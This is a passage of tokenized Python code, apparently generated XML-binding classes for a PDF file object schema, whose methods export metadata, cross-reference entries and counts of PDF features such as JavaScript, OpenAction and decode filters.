"FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Tit", "le", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Author_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Author_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Author", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Subject_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Subject_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Sub", "ject", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Keywords_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Keywords_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Key", "words", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Creator_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Creator_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Creat", "or", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Producer_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Producer_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Producer", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Creat", "ion", "Date_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Creat", "ion", "Date_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Creat", "ion", "Date", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Mod", "Date_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mod", "Date_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Mod", "Date", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Tra", "pped", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Tra", "pped", "_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Tra", "pped", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FX", "ref", "Entr", "y", "List", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FX", "ref", "Entr", "y", "List", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Cross", "\\u", "Reference", "\\u", "Entr", "y\\u_", "in_", "self_", "._", "Cross", "\\u", "Reference", "\\u", "Entry_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cross", "\\u", "Reference", "\\u", "Entr", "y\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Cross", "\\u", "Reference", "\\u", "Entr", "y", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FX", "ref", "Entr", "y", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FX", "ref", "Entr", "y", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Byte", "\\u", "Offset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Byte", "\\u", "Offset_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Byte", "\\u", "Off", "set", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Object", "\\u", "Number_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Object", "\\u", "Number_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Object", "\\u", "Number", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Generat", "ion", "\\u", "Number_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Generat", "ion", "\\u", "Number_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Generat", "ion", "\\u", "Number", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FD", "ict", "ionar", "y", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FD", "ict", "ionar", "y", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Object", "\\u", "Reference_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Object", "\\u", "Reference_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Object", "\\u", "Reference", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Ra", "w", "\\u", "Contents_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "Ra", "w", "\\u", "Contents_", "._", "get", "\\u", "value", "Of\\u_", "(_", ")_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "Ra", "w", "\\u", "Contents_", "._", "get", "\\u", "value", "Of\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "value_", "._", "startswith_", "(_", "'<!", "[", "CD", "ATA", "['_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "'<!", "[", "CD", "ATA", "['_", "+_", "value_", "+_", "']]", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ra", "w", "\\u", "Contents_", "._", "set\\u", "value", "Of\\u_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "Ra", "w", "\\u", "Contents_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Ra", "w", "\\u", "Conten", "ts", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FF", "ile", "Meta", "data", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FF", "ile", "Meta", "data", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Document", "\\u", "Information", "\\u", "Dictionary_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Document", "\\u", "Information", "\\u", "Dictionary_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Document", "\\u", "Information", "\\u", "Dict", "ionar", "y", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Number", "\\u", "Of", "\\u", "Indi", "rect", "\\u", "Objects_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Number", "\\u", "Of", "\\u", "Indi", "rect", "\\u", "Objects_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Number", "\\u", "Of", "\\u", "Indi", "rect", "\\u", "Object", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Number", "\\u", "Of", "\\u", "Trail", "ers_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Number", "\\u", "Of", "\\u", "Trail", "ers_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Number", "\\u", "Of", "\\u", "Trail", "ers", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Number", "\\u", "Of", "\\u", "Cross", "\\u", "Reference", "\\u", "Tables_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Number", "\\u", "Of", "\\u", "Cross", "\\u", "Reference", "\\u", "Tables_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Number", "\\u", "Of", "\\u", "Cross", "\\u", "Reference", "\\u", "Table", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Key", "word", "\\u", "Counts_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Key", "word", "\\u", "Counts_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Key", "word", "\\u", "Count", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FK", "ey", "word", "Count", "s", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FK", "ey", "word", "Count", "s", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Page", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Page", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Page", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Encrypt", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Encrypt", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Encrypt", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Obj", "St", "m", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Obj", "St", "m", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Obj", "St", "m", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "JS", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "JS", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "JS", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Ja", "va", "Script", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Ja", "va", "Script", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Ja", "va", "Script", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "AA", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "AA", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "AA", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Open", "Action", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Open", "Action", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Open", "Action", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "ASCII", "Hex", "Decode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ASCII", "Hex", "Decode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "ASCII", "Hex", "Decode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "ASCII", "85", "Decode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ASCII", "85", "Decode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "ASCII", "85", "Decode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "LZ", "WD", "ecode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "LZ", "WD", "ecode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "LZ", "WD", "ecode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Flat", "e", "Decode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Flat", "e", "Decode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Flat", "e", "Decode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Run", "Length", "Decode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Run", "Length", "Decode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Run", "Length", "Decode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "JB", "IG", "2", "Decode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "JB", "IG", "2", "Decode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "JB", "IG", "2", "Decode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "DC", "TD", "ecode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "DC", "TD", "ecode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "DC", "TD", "ecode", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Rich", "Media", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Rich", "Media", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Rich", "Media", "\\u", "Count", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "CC", "IT", "TF", "ax", "Decode", "\\u", "Count_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "CC", "IT", "TF", "ax", "Decode", "\\u", "Count_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", 